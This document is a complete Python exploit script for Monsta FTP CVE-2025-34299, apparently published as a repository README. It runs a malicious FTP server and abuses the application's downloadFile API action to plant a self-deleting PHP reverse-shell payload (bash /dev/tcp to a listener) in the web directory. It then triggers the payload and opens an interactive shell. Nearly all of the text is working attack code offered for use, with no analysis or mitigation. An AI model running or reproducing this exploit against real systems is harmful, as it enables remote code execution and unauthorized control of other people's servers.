README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Monsta FTP CVE-2025-34299 Exploit
by chocapikk
"""
import argparse
import json
import os
import random
import requests
import socket
import string
import sys
import tempfile
import threading
import time
import urllib3
from pwn import remote
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class ExploitFTPHandler(FTPHandler):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.banner = "FTP Server Ready - chocapikk edition"
class Listener:
def __init__(self, bind_host, bind_port):
self.bind_host = bind_host
self.bind_port = bind_port
def start_listener(self):
try:
with socket.create_server((self.bind_host, self.bind_port)) as listener:
print(f"[*] Listening on {self.bind_host}:{self.bind_port}...")
listener.settimeout(1)
while True:
try:
client, addr = listener.accept()
print(f"[+] Received connection from {addr[0]}:{addr[1]}")
client.settimeout(0.1)
self.handle_client(client)
break
except socket.timeout:
continue
except Exception as e:
print(f"[-] Failed to start listener: {e}")
def handle_client(self, client):
"""Handle reverse shell connection with pwntools"""
try:
# Create pwn tube from socket
tube = remote.fromsocket(client)
tube.interactive()
except (KeyboardInterrupt, EOFError):
print("\n[*] Connection closed")
except Exception as e:
print(f"[-] Error: {e}")
finally:
client.close()
def start_ftp_server(host, port, lhost, lport):
"""Start malicious FTP server with random filename, credentials and reverse shell payload"""
ftp_dir = tempfile.mkdtemp()
random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
payload_file = os.path.join(ftp_dir, random_filename)
# Generate reverse shell payload with self-delete - chocapikk style
payload = f"<?php $f=__FILE__; exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'\"); unlink($f); ?>"
with open(payload_file, 'wb') as f:
f.write(payload.encode())
# Generate random credentials
user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
authorizer = DummyAuthorizer()
authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw")
ExploitFTPHandler.authorizer = authorizer
server = FTPServer((host, port), ExploitFTPHandler)
server.max_connections = 256
return server, ftp_dir, f"/{random_filename}", user, pwd
def exploit(target, host="172.17.0.1", port=2121, lhost="172.17.0.1", lport=4444):
"""Exploit Monsta FTP CVE-2025-34299 - by chocapikk"""
# Start reverse shell listener
listener = Listener(lhost, lport)
listener_thread = threading.Thread(target=listener.start_listener, daemon=False)
listener_thread.start()
time.sleep(1)
server, ftp_dir, remote, user, pwd = start_ftp_server(host, port, lhost, lport)
# Start FTP server in background
threading.Thread(target=server.serve_forever, daemon=True).start()
time.sleep(1)
# Generate random local filename
local = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php'
# Prepare request
api_url = f"{target.rstrip('/')}/application/api/api.php"
request_data = {
"connectionType": "ftp",
"configuration": {
"host": host,
"username": user,
"initialDirectory": "/",
"password": pwd,
"port": port
},
"actionName": "downloadFile",
"context": {
"remotePath": remote,
"localPath": local
}
}
try:
response = requests.post(
api_url,
data={"request": json.dumps(request_data)},
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=30,
verify=False
)
try:
response_data = response.json()
except (json.JSONDecodeError, ValueError):
print(f"[-] Invalid JSON response: {response.text[:200]}")
return False
if response.status_code == requests.codes.ok and response_data.get("success"):
payload_url = f"{target.rstrip('/')}/application/api/{local}"
print(f"[+] Payload uploaded: {payload_url}")
print(f"[*] Triggering reverse shell (payload will self-delete)...")
try:
requests.get(payload_url, timeout=5, verify=False)
except:
pass
listener_thread.join()
return True
print(f"[-] Failed: {response.text}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def main():
parser = argparse.ArgumentParser(description="Monsta FTP CVE-2025-34299 Exploit")
parser.add_argument("target", help="Target URL")
parser.add_argument("--host", default="172.17.0.1", help="FTP server host")
parser.add_argument("--port", type=int, default=2121, help="FTP server port")
parser.add_argument("--lhost", default="172.17.0.1", help="Listener host")
parser.add_argument("--lport", type=int, default=4444, help="Listener port")
args = parser.parse_args()
success = exploit(
args.target,
host=args.host,
port=args.port,
lhost=args.lhost,
lport=args.lport
)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()